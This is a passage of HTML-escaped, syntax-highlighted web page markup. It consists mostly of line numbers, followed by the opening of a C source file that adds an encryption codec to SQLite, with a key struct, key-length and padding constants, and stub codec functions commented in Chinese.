class=\"line\"\u003e373\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e374\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e375\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e376\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e377\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e378\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e379\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e380\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e381\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e382\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e383\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e384\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e385\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e386\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e387\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e388\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e389\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e390\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e391\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e392\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e393\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e394\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e395\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e396\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e397\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e398\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e399\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e400\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e401\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e402\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e403\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e404\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e405\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e406\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e407\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e408\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e409\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e410\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e411\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e412\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e413\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e414\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e415\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e416\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e417\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e418\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e419\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e420\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e421\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e422\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e423\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e424\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e425\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e426\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e427\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e428\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e429\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e430\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e431\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e432\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e433\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e434\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e435\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e436\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e437\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e438\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e439\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e440\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e441\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e442\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e443\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e444\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e445\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e446\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e447\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e448\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e449\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e450\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e451\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e452\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e453\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e454\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e455\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e456\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e457\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e458\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e459\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e460\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e461\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e462\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e463\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e464\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e465\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e466\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e467\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e468\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e469\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e470\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e471\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e472\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e473\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e474\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e475\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e476\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e477\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e478\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e479\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e480\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e481\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e482\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e483\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e484\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e485\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e486\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e487\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e488\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e489\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e490\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e491\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e492\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e493\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e494\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e495\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e496\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e497\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e498\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e499\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e500\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e501\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e502\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e503\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e504\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e505\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e506\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e507\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e508\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e509\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e510\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e511\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e512\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e513\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e514\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e515\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e516\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e517\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e518\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e519\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e520\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e521\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e522\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e523\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e524\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e525\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e526\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e527\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e528\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e529\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e530\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e531\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e532\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e533\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e534\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e535\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e536\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e537\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e538\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e539\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e540\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e541\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e542\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e543\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e544\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e545\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e546\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e547\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e548\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e549\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e550\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e551\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e552\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e553\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e554\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e555\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e556\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e557\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e558\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e559\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e560\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e561\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e562\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e563\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e564\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e565\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e566\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e567\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e568\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e569\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e570\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e571\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e572\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e573\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e574\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e575\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e576\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e577\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e578\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e579\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e580\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e581\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e582\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e583\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e584\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e585\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e586\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e587\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e588\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e589\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e590\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e591\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e592\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e593\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e594\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e595\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e596\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e597\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e598\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e599\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e600\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e601\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e602\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e603\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e604\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e605\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e606\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e607\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e608\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e609\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e610\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e611\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e612\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e613\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e614\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e615\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e616\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e617\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e618\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e619\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e620\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e621\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e622\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e623\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e624\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e625\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e626\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e627\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e628\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e629\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e630\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e631\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e632\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e633\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e634\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e635\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e636\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e637\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e638\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e639\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e640\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e641\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e董淳光定义的加密函数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifdef\u003c/span\u003e SQLITE_HAS_CODEC\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/***\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e加密结构\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e***/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e CRYPT_OFFSET 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e _\u003cspan class=\"title\"\u003eCryptBlock\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e{\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBYTE*     ReadKey;     \u003cspan class=\"comment\"\u003e// 读数据库和写入事务的密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBYTE*     WriteKey;    \u003cspan class=\"comment\"\u003e// 写入数据库的密钥\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e       PageSize;    \u003cspan class=\"comment\"\u003e// 页的大小\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eBYTE*     Data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} CryptBlock, *LPCryptBlock;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e  DB_KEY_LENGTH_BYTE         \u003cspan class=\"comment\"\u003e/*密钥长度*/\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e  DB_KEY_LENGTH_BYTE   16   \u003cspan class=\"comment\"\u003e/*密钥长度*/\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e  DB_KEY_PADDING             \u003cspan class=\"comment\"\u003e/*密钥位数不足时补充的字符*/\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e  DB_KEY_PADDING       0x33  \u003cspan class=\"comment\"\u003e/*密钥位数不足时补充的字符*/\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*** 下面是编译时提示缺少的函数 ***/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/** 这个函数不需要做任何处理,获取密钥的部分在下面 DeriveKey 函数里实现 **/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3CodecGetKey\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3* db, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nDB, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e** Key, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* nKey)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*被sqlite 和 sqlite3_key_interop 调用, 附加密钥到数据库.*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3CodecAttach\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *db, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nDb, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *pKey, \u003cspan class=\"type\"\u003eint\u003c/span\u003e nKeyLen)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/**\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan 